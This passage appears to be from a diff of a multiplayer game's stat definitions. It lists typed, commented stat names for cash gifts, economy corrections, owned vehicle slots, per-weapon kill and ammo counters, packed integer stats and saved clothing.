MP0_ or MP1_ // Timer for last sold vehicle + + +(short)CASH_GIFT // TO GIVE PLAYER THE CASH GIFT THEY LOST +(short)CASH_GIFT_RECEIVED // TO GIVE PLAYER THE CASH GIFT THEY LOST +(int)CASH_GIFT_LABEL // LABEL TO DISPLAY TO GIVE PLAYER THE CASH GIFT THEY LOST +(u64)CASH_GIFT_LABEL_1 // LABEL TO DISPLAY TO GIVE PLAYER THE CASH GIFT THEY LOST +(u64)CASH_GIFT_LABEL_2 // LABEL TO DISPLAY TO GIVE PLAYER THE CASH GIFT THEY LOST + +(s64)CASH_GIFT_MIN_BALANCE // Minimum balance left after CASH_GIFT +(bool)CASH_GIFT_LEAVE_REMAINDER // Leave Reminder in cash gift +(s64)CASH_EVC_CORRECTION // Fix Economy +(s64)CASH_PVC_CORRECTION // Fix Economy +(bool)CASH_FIX_PVC_WB_CORRECTION // Fix PVC +(bool)CASH_FIX_EVC_CORRECTION // Fix EVC +(double)CASH_PXR_CORRECTION // Fix PXR +(double)CASH_USDE_CORRECTION // Fix USDE + + +(int)RP_GIFT // TO GIVE PLAYER THE RP GIFT THEY LOST +(int)RP_GIFT_RECEIVED // TO GIVE PLAYER THE RP GIFT THEY LOST + + +(int)CLOUD_TIME_CHAR_CREATED // Add MP0_ or MP1_ // Posix Timestamp of character creation +(int)PS_TIME_CHAR_CREATED // Add MP0_ or MP1_ // Posix Timestamp of character creation + +(bool)PEGASUS_VEHICLE_COLLECTED // Add MP0_ or MP1_ // to signal that the player needs to call again to get their pegasus vehicle back +(bool)NEED_TO_UPDATE_HEADSHOT // Add MP0_ or MP1_ // MP player 0 - COP kill death percentage ratio. + +(int)UNARMED_PED_HITS // Add MP0_ or MP1_ // Number of times we hit a ped. + + +(s64)CASHPACK_AMOUNT_PENDING // Amount of cash pending to be consumed by the player. +(double)CASHPACK_USDE_PENDING // Amount of USDE cash pending to be consumed by the player. +(int)CLEAN_LAPS // Add MP0_ or MP1_ // MP Char 0 - Number of clean laps +(int)CTF_HELP_COUNTER // Add MP0_ or MP1_ // MP Char 0 - Number of clean laps +(int)TATTOO_FM_UNLOCKS_5 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 5 +(u32)TOTAL_TIME_CINEMA // Add MP0_ or MP1_ // MP Char 0 - Time spent in the cinema +(int)NO_TIMES_CINEMA // Add MP0_ or MP1_ // MP Char 0 - Time spent in the cinema + +(u32)FAVORITE_WEAPON_HELDTIME // Add MP0_ or MP1_ // Time held the favotire weapon. +(u32)FAVORITE_WEAPON // Add MP0_ or MP1_ // The favorite weapon hash. + +(bool)TU_CHANGEHEADS1 // Add MP0_ or MP1_ // Number of times cheated +(int)MPPLY_PLAYER_MENTAL_STATE // Track players mental state + + + +(packed)TUPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)TUPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 5. Takes up to 8 integers +(packed)TUPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 6. Takes up to 8 integers +(packed)TUPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 7. Takes up to 8 integers +(packed)TUPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 8. Takes up to 8 integers +(packed)TUPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 9. Takes up to 8 integers +(packed)TUPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 10. Takes up to 8 integers +(packed)TUPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 11. Takes up to 8 integers +(packed)TUPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 12. Takes up to 8 integers +(packed)TUPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 13. Takes up to 8 integers +(packed)TUPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 14. Takes up to 8 integers +(packed)TUPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 15. Takes up to 8 integers +(packed)TUPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 16. Takes up to 8 integers +(packed)TUPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 17. Takes up to 8 integers +(packed)TUPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 18. Takes up to 8 integers +(packed)TUPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 19. Takes up to 8 integers +(packed)TUPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 20. Takes up to 8 integers +(packed)TUPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 21. Takes up to 8 integers +(packed)TUPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 22. Takes up to 8 integers +(packed)TUPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 23. Takes up to 8 integers +(packed)TUPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 24. Takes up to 8 integers +(packed)TUPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 25. Takes up to 8 integers +(packed)TUPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 26. Takes up to 8 integers +(packed)TUPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 27. Takes up to 8 integers +(packed)TUPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 28. Takes up to 8 integers +(packed)TUPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 29. Takes up to 8 integers +(packed)TUPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 30. Takes up to 8 integers +(packed)TUPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 31. Takes up to 8 integers +(packed)TUPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)TUPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 33. Takes up to 8 integers +(packed)TUPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 34. Takes up to 8 integers +(packed)TUPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 35. Takes up to 8 integers +(packed)TUPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 36. Takes up to 8 integers +(packed)TUPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 37. Takes up to 8 integers +(packed)TUPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 38. Takes up to 8 integers +(packed)TUPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 39. Takes up to 8 integers +(packed)TUPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 40. Takes up to 8 integers +(packed)TUPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 41. Takes up to 8 integers +(packed)TUPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 42. Takes up to 8 integers +(packed)TUPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 43. Takes up to 8 integers +(packed)TUPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 44. Takes up to 8 integers +(packed)TUPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 45. Takes up to 8 integers +(packed)TUPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 46. Takes up to 8 integers +(packed)TUPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 47. Takes up to 8 integers +(packed)TUPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 48. Takes up to 8 integers +(packed)TUPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 49. Takes up to 8 integers +(packed)TUPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 50. Takes up to 8 integers +(packed)TUPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 51. Takes up to 8 integers +(packed)TUPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 52. Takes up to 8 integers +(packed)TUPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 53. Takes up to 8 integers +(packed)TUPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 54. Takes up to 8 integers +(packed)TUPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 55. Takes up to 8 integers +(packed)TUPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 56. Takes up to 8 integers +(packed)TUPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 57. Takes up to 8 integers +(packed)TUPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 58. Takes up to 8 integers +(packed)TUPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 59. Takes up to 8 integers +(packed)TUPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 60. Takes up to 8 integers +(packed)TUPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 61. Takes up to 8 integers +(packed)TUPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 62. Takes up to 8 integers +(packed)TUPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 63. Takes up to 8 integers +(packed)TUPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 64. Takes up to 8 integers +(packed)TUPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 65. Takes up to 8 integers +(packed)TUPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 66. Takes up to 8 integers +(packed)TUPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 67. Takes up to 8 integers +(packed)TUPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 68. Takes up to 8 integers +(packed)TUPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 69. Takes up to 8 integers +(packed)TUPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 70. Takes up to 8 integers +(packed)TUPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 71. Takes up to 8 integers +(packed)TUPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 72. Takes up to 8 integers +(packed)TUPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 73. Takes up to 8 integers +(packed)TUPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 74. Takes up to 8 integers +(packed)TUPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 75. Takes up to 8 integers +(packed)TUPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 76. Takes up to 8 integers +(packed)TUPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 77. Takes up to 8 integers +(packed)TUPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 78. Takes up to 8 integers +(packed)TUPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 79. Takes up to 8 integers +(packed)TUPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 80. Takes up to 8 integers +(packed)TUPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 81. Takes up to 8 integers +(packed)TUPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 82. Takes up to 8 integers +(packed)TUPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 83. Takes up to 8 integers +(packed)TUPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 84. Takes up to 8 integers +(packed)TUPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 85. Takes up to 8 integers +(packed)TUPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 86. Takes up to 8 integers +(packed)TUPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 87. Takes up to 8 integers +(packed)TUPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 88. Takes up to 8 integers +(packed)TUPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 89. Takes up to 8 integers +(packed)TUPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 90. Takes up to 8 integers +(packed)TUPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 91. Takes up to 8 integers +(packed)TUPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 92. Takes up to 8 integers +(packed)TUPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 93. Takes up to 8 integers +(packed)TUPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 94. Takes up to 8 integers +(packed)TUPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 95. Takes up to 8 integers +(packed)TUPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 96. Takes up to 8 integers +(packed)TUPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 97. Takes up to 8 integers +(packed)TUPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 98. Takes up to 8 integers +(packed)TUPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 99. Takes up to 8 integers +(packed)TUPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 100. Takes up to 8 integers +(packed)TUPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 101. Takes up to 8 integers +(packed)TUPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 102. Takes up to 8 integers +(packed)TUPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 103. Takes up to 8 integers +(packed)TUPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 104. Takes up to 8 integers +(packed)TUPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 105. Takes up to 8 integers +(packed)TUPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 106. Takes up to 8 integers +(packed)TUPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 107. Takes up to 8 integers +(packed)TUPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 108. Takes up to 8 integers +(packed)TUPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 109. Takes up to 8 integers +(packed)TUPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 110. Takes up to 8 integers +(packed)TUPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 111. Takes up to 8 integers +(packed)TUPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 112. Takes up to 8 integers +(packed)TUPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 113. Takes up to 8 integers +(packed)TUPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 114. Takes up to 8 integers +(packed)TUPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 115. Takes up to 8 integers +(packed)TUPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 116. Takes up to 8 integers +(packed)TUPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 117. Takes up to 8 integers +(packed)TUPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 118. Takes up to 8 integers +(packed)TUPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 119. Takes up to 8 integers +(packed)TUPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 120. Takes up to 8 integers +(packed)TUPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 121. Takes up to 8 integers +(bool)XMAS_NORM_CLOTHES_SAVED // Add MP0_ or MP1_ // CLOTHES saved before xmas + +(int)XMAS_NORM_CLOTHES_TOP // Add MP0_ or MP1_ // CLOTHES saved before xmas +(int)XMAS_NORM_CLOTHES_LOWERS // Add MP0_ or MP1_ // CLOTHES saved before xmas +(int)XMAS_NORM_CLOTHES_SPECIALS // Add MP0_ or MP1_ // CLOTHES saved before xmas + + +(int)MPSV_VEHICLE_TIMESTAMP // Add MP0_ or MP1_ // Vehicle stats timestamp when last modified + + +(int)MPSV_VEHICLE_BS_0 // Add MP0_ or MP1_ // Vehicle_0 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_0 // Add MP0_ or MP1_ // Vehicle_0 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_0 // Add MP0_ or MP1_ // Vehicle_0 premium paid by destroyer of vehicle +(int)MPSV_MODEL_0 // Add MP0_ or MP1_ // Vehicle_0 model enum of vehicle +(int)MPSV_FLAGS_0 // Add MP0_ or MP1_ // Vehicle_0 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_0 // Add MP0_ or MP1_ // Vehicle_0 cost of vehicle when purchased + +(u64)MPSV_LP0_0 // Add MP0_ or MP1_ // Vehicle_0 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_1 // Add MP0_ or MP1_ // Vehicle_1 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_1 // Add MP0_ or MP1_ // Vehicle_1 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_1 // Add MP0_ or MP1_ // Vehicle_1 premium paid by destroyer of vehicle +(int)MPSV_MODEL_1 // Add MP0_ or MP1_ // Vehicle_1 model enum of vehicle +(int)MPSV_FLAGS_1 // Add MP0_ or MP1_ // Vehicle_1 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_1 // Add MP0_ or MP1_ // Vehicle_1 cost of vehicle when purchased + +(u64)MPSV_LP0_1 // Add MP0_ or MP1_ // Vehicle_1 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_2 // Add MP0_ or MP1_ // Vehicle_2 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_2 // Add MP0_ or MP1_ // Vehicle_2 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_2 // Add MP0_ or MP1_ // Vehicle_2 premium paid by destroyer of vehicle +(int)MPSV_MODEL_2 // Add MP0_ or MP1_ // Vehicle_2 model enum of vehicle +(int)MPSV_FLAGS_2 // Add MP0_ or MP1_ // Vehicle_2 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_2 // Add MP0_ or MP1_ // Vehicle_2 cost of vehicle when purchased + +(u64)MPSV_LP0_2 // Add MP0_ or MP1_ // Vehicle_2 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_3 // Add MP0_ or MP1_ // Vehicle_3 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_3 // Add MP0_ or MP1_ // Vehicle_3 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_3 // Add MP0_ or MP1_ // Vehicle_3 premium paid by destroyer of vehicle +(int)MPSV_MODEL_3 // Add MP0_ or MP1_ // Vehicle_3 model enum of vehicle +(int)MPSV_FLAGS_3 // Add MP0_ or MP1_ // Vehicle_3 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_3 // Add MP0_ or MP1_ // Vehicle_3 cost of vehicle when purchased + +(u64)MPSV_LP0_3 // Add MP0_ or MP1_ // Vehicle_3 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_4 // Add MP0_ or MP1_ // Vehicle_4 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_4 // Add MP0_ or MP1_ // Vehicle_4 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_4 // Add MP0_ or MP1_ // Vehicle_4 premium paid by destroyer of vehicle +(int)MPSV_MODEL_4 // Add MP0_ or MP1_ // Vehicle_4 model enum of vehicle +(int)MPSV_FLAGS_4 // Add MP0_ or MP1_ // Vehicle_4 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_4 // Add MP0_ or MP1_ // Vehicle_4 cost of vehicle when purchased + +(u64)MPSV_LP0_4 // Add MP0_ or MP1_ // Vehicle_4 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_5 // Add MP0_ or MP1_ // Vehicle_5 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_5 // Add MP0_ or MP1_ // Vehicle_5 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_5 // Add MP0_ or MP1_ // Vehicle_5 premium paid by destroyer of vehicle +(int)MPSV_MODEL_5 // Add MP0_ or MP1_ // Vehicle_5 model enum of vehicle +(int)MPSV_FLAGS_5 // Add MP0_ or MP1_ // Vehicle_5 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_5 // Add MP0_ or MP1_ // Vehicle_5 cost of vehicle when purchased + +(u64)MPSV_LP0_5 // Add MP0_ or MP1_ // Vehicle_5 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_6 // Add MP0_ or MP1_ // Vehicle_6 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_6 // Add MP0_ or MP1_ // Vehicle_6 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_6 // Add MP0_ or MP1_ // Vehicle_6 premium paid by destroyer of vehicle +(int)MPSV_MODEL_6 // Add MP0_ or MP1_ // Vehicle_6 model enum of vehicle +(int)MPSV_FLAGS_6 // Add MP0_ or MP1_ // Vehicle_6 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_6 // Add MP0_ or MP1_ // Vehicle_6 cost of vehicle when purchased + +(u64)MPSV_LP0_6 // Add MP0_ or MP1_ // Vehicle_6 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_7 // Add MP0_ or MP1_ // Vehicle_7 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_7 // Add MP0_ or MP1_ // Vehicle_7 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_7 // Add MP0_ or MP1_ // Vehicle_7 premium paid by destroyer of vehicle +(int)MPSV_MODEL_7 // Add MP0_ or MP1_ // Vehicle_7 model enum of vehicle +(int)MPSV_FLAGS_7 // Add MP0_ or MP1_ // Vehicle_7 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_7 // Add MP0_ or MP1_ // Vehicle_7 cost of vehicle when purchased + +(u64)MPSV_LP0_7 // Add MP0_ or MP1_ // Vehicle_7 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_8 // Add MP0_ or MP1_ // Vehicle_8 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_8 // Add MP0_ or MP1_ // Vehicle_8 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_8 // Add MP0_ or MP1_ // Vehicle_8 premium paid by destroyer of vehicle +(int)MPSV_MODEL_8 // Add MP0_ or MP1_ // Vehicle_8 model enum of vehicle +(int)MPSV_FLAGS_8 // Add MP0_ or MP1_ // Vehicle_8 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_8 // Add MP0_ or MP1_ // Vehicle_8 cost of vehicle when purchased + +(u64)MPSV_LP0_8 // Add MP0_ or MP1_ // Vehicle_8 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_9 // Add MP0_ or MP1_ // Vehicle_9 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_9 // Add MP0_ or MP1_ // Vehicle_9 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_9 // Add MP0_ or MP1_ // Vehicle_9 premium paid by destroyer of vehicle +(int)MPSV_MODEL_9 // Add MP0_ or MP1_ // Vehicle_9 model enum of vehicle +(int)MPSV_FLAGS_9 // Add MP0_ or MP1_ // Vehicle_9 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_9 // Add MP0_ or MP1_ // Vehicle_9 cost of vehicle when purchased + +(u64)MPSV_LP0_9 // Add MP0_ or MP1_ // Vehicle_9 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_10 // Add MP0_ or MP1_ // Vehicle_10 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_10 // Add MP0_ or MP1_ // Vehicle_10 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_10 // Add MP0_ or MP1_ // Vehicle_10 premium paid by destroyer of vehicle +(int)MPSV_MODEL_10 // Add MP0_ or MP1_ // Vehicle_10 model enum of vehicle +(int)MPSV_FLAGS_10 // Add MP0_ or MP1_ // Vehicle_10 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_10 // Add MP0_ or MP1_ // Vehicle_10 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_11 // Add MP0_ or MP1_ // Vehicle_11 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_11 // Add MP0_ or MP1_ // Vehicle_11 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_11 // Add MP0_ or MP1_ // Vehicle_11 premium paid by destroyer of vehicle +(int)MPSV_MODEL_11 // Add MP0_ or MP1_ // Vehicle_11 model enum of vehicle +(int)MPSV_FLAGS_11 // Add MP0_ or MP1_ // Vehicle_11 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_11 // Add MP0_ or MP1_ // Vehicle_11 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_12 // Add MP0_ or MP1_ // Vehicle_12 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_12 // Add MP0_ or MP1_ // Vehicle_12 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_12 // Add MP0_ or MP1_ // Vehicle_12 premium paid by destroyer of vehicle +(int)MPSV_MODEL_12 // Add MP0_ or MP1_ // Vehicle_12 model enum of vehicle +(int)MPSV_FLAGS_12 // Add MP0_ or MP1_ // Vehicle_12 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_12 // Add MP0_ or MP1_ // Vehicle_12 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_13 // Add MP0_ or MP1_ // Vehicle_13 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_13 // Add MP0_ or MP1_ // Vehicle_13 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_13 // Add MP0_ or MP1_ // Vehicle_13 premium paid by destroyer of vehicle +(int)MPSV_MODEL_13 // Add MP0_ or MP1_ // Vehicle_13 model enum of vehicle +(int)MPSV_FLAGS_13 // Add MP0_ or MP1_ // Vehicle_13 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_13 // Add MP0_ or MP1_ // Vehicle_13 cost of vehicle when purchased + +(u64)MPSV_LP0_13 // Add MP0_ or MP1_ // Vehicle_13 licence plate part 0 + + +(int)MPBAV_TIME // Add MP0_ or MP1_ // Big ass vehicle time stamp +(int)MPBAV_ELEMENT_0 // Add MP0_ or MP1_ // Big ass vehicle array element 0 +(int)MPBAV_ELEMENT_1 // Add MP0_ or MP1_ // Big ass vehicle array element 1 +(int)MPBAV_ELEMENT_2 // Add MP0_ or MP1_ // Big ass vehicle array element 2 +(int)MPBAV_ELEMENT_3 // Add MP0_ or MP1_ // Big ass vehicle array element 3 + + +(int)BOTTLE_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)BOTTLE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)BOTTLE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)BOTTLE_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)BOTTLE_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)BOTTLE_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)BOTTLE_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)BOTTLE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)BOTTLE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)BOTTLE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)BOTTLE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)BOTTLE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)SNSPISTOL_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)SNSPISTOL_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)SNSPISTOL_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)SNSPISTOL_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)SNSPISTOL_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)SNSPISTOL_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)SNSPISTOL_DB_HELDTIME // Add MP0_ or MP1_ // Time char0 held driveby weapon (MS) +(int)SNSPISTOL_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SNSPISTOL_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SNSPISTOL_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)SNSPISTOL_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)SNSPISTOL_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)XMAS_NORM_CLOTHES_FEET // Add MP0_ or MP1_ // CLOTHES saved before xmas +(bool)NO_TUT_SPAWN // Add MP0_ or 